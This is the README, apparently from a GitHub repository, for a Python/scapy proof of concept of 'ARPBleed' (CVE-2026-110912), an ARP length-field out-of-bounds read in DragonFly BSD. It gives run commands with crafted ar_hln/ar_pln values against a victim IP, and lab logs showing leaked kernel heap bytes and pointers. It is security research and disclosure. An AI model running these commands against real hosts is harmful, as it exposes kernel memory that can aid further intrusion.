0xblackash/cve-2026-110912Prueba de concepto en Python/scapy para CVE-2026-110912 (ARPBleed), una lectura fuera de límites de ar_hln/ar_pln de ARP en DragonFly BSD que filtra memoria del heap y de la pila del kernel.
ARPBleed 🩸
Vulnerabilidad en el manejo de paquetes ARP | DragonFly BSD | Investigación de seguridad
ARPBleed es el nombre asociado a la vulnerabilidad reportada CVE-2026-110912, que implica un manejo incorrecto de los campos de longitud de paquetes del Protocolo de Resolución de Direcciones (ARP) en DragonFly BSD.
Según la descripción preliminar de la vulnerabilidad, los paquetes ARP malformados pueden desencadenar una lectura de memoria fuera de límites, lo que podría exponer porciones de la memoria del kernel a través de respuestas de red.
Importante: Los detalles de la vulnerabilidad presentados aquí son preliminares y requieren verificación contra los registros autorizados de CVE y los avisos oficiales del proveedor antes de considerarse confirmados.
| Atributo | Detalles |
|---|---|
| ID de CVE | CVE-2026-110912 |
| Nombre de la vulnerabilidad | ARPBleed |
| Producto reportado | DragonFly BSD |
| Tipo de vulnerabilidad | Lectura fuera de límites |
| CWE relacionado | CWE-130 — Manejo incorrecto de la inconsistencia del parámetro de longitud |
| Vector de ataque reportado | Red adyacente |
| Autenticación requerida | Según los informes, ninguna |
| Impacto potencial | Divulgación de memoria del kernel |
| Puntuación CVSS reportada | 7.1 — No verificada |
| Versiones afectadas reportadas | Hasta la 6.4.2 — No verificadas |
| Remediación | Verificar el parche oficial del proveedor |
El Protocolo de Resolución de Direcciones (ARP) se utiliza en redes IPv4 para resolver direcciones IP en direcciones de hardware, normalmente direcciones MAC.
Cuando un host necesita comunicarse con otro dispositivo en la red local, puede difundir una solicitud ARP. El dispositivo con la dirección IP correspondiente puede responder con una respuesta ARP que contenga su dirección de hardware.
CVE-2026-110912-ARPBleed.py - archivo único, requiere python3 + scapy y root (socket sin procesar).
sudo python3 CVE-2026-110912-ARPBleed.py <victim-ip> [<iface>] [--hln N] [--pln N]
# heap leak (ar_sha carries ar_hln-6 bytes past the MAC)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 200 --pln 4
# stack leak (ar_spa carries ar_pln-4 bytes past &taddr)
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 200
# sanity: a legal ARP, expect a clean reply and no leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 6 --pln 4
# maximum single-packet leak
sudo python3 CVE-2026-110912-ARPBleed.py 10.170.0.10 eth0 --hln 255 --pln 255
Los primeros 6 bytes de la región filtrada ar_sha son la MAC real de la víctima y los primeros 4 bytes de ar_spa son la IP de la víctima; todo lo que viene después es memoria del kernel fuera de los límites. Código de salida 0 en una fuga capturada, 2 cuando no llega respuesta (comportamiento de un kernel corregido).
Víctima: DragonFly 6.4.2-RELEASE (instalación estándar, QEMU virtio-net), 10.170.0.10. Atacante: Kali, scapy 2.7.01, 10.170.0.2, mismo segmento L2.
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=6 ar_pln=4 arp_body=28 frame=42
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 42 bytes (reply ar_hln=6 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
0000: 52 54 00 df 04 94 |RT....|
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] legal ARP answered normally - no leak bytes (sanity)
# rc=0
=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0 attacker-mac=52:54:00:19:26:9a victim=10.170.0.10
[*] ar_hln=200 ar_pln=4 arp_body=416 frame=430
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 430 bytes (reply ar_hln=200 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94 (victim interface MAC)
[#####] HEAP LEAK (ar_sha, 194 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (200 bytes; bytes [6..199] are the OOB leak) ----
0000: 52 54 00 df 04 94 00 00 00 00 00 00 00 00 00 00 |RT..............|
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0020: 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 |................|
0030: 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 |................|
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0060: 00 00 10 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |....*F..........|
0070: 00 00 48 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |..H.*F..........|
0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00c0: 00 00 00 00 00 00 00 00 |........|
-- kernel pointers in heap leak: 7 --
heap + 38 (abs 44): 0xffff000000000000
heap + 39 (abs 45): 0xffffff0000000000
heap + 40 (abs 46): 0xffffffff00000000
heap + 41 (abs 47): 0xffffffffff000000
heap + 42 (abs 48): 0xffffffffffff0000
heap + 92 (abs 98): 0xfffff800462a1210
heap +108 (abs 114): 0xfffff800462a1248
[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
0000: 0a aa 00 0a |....|
[*] reply ar_tha echoes attacker MAC + filler: True
[+] arpbleed REPRODUCED (remote): 194 heap OOB bytes + 0 stack OOB bytes; kernel pointers: 7 heap / 0 stack
# rc=0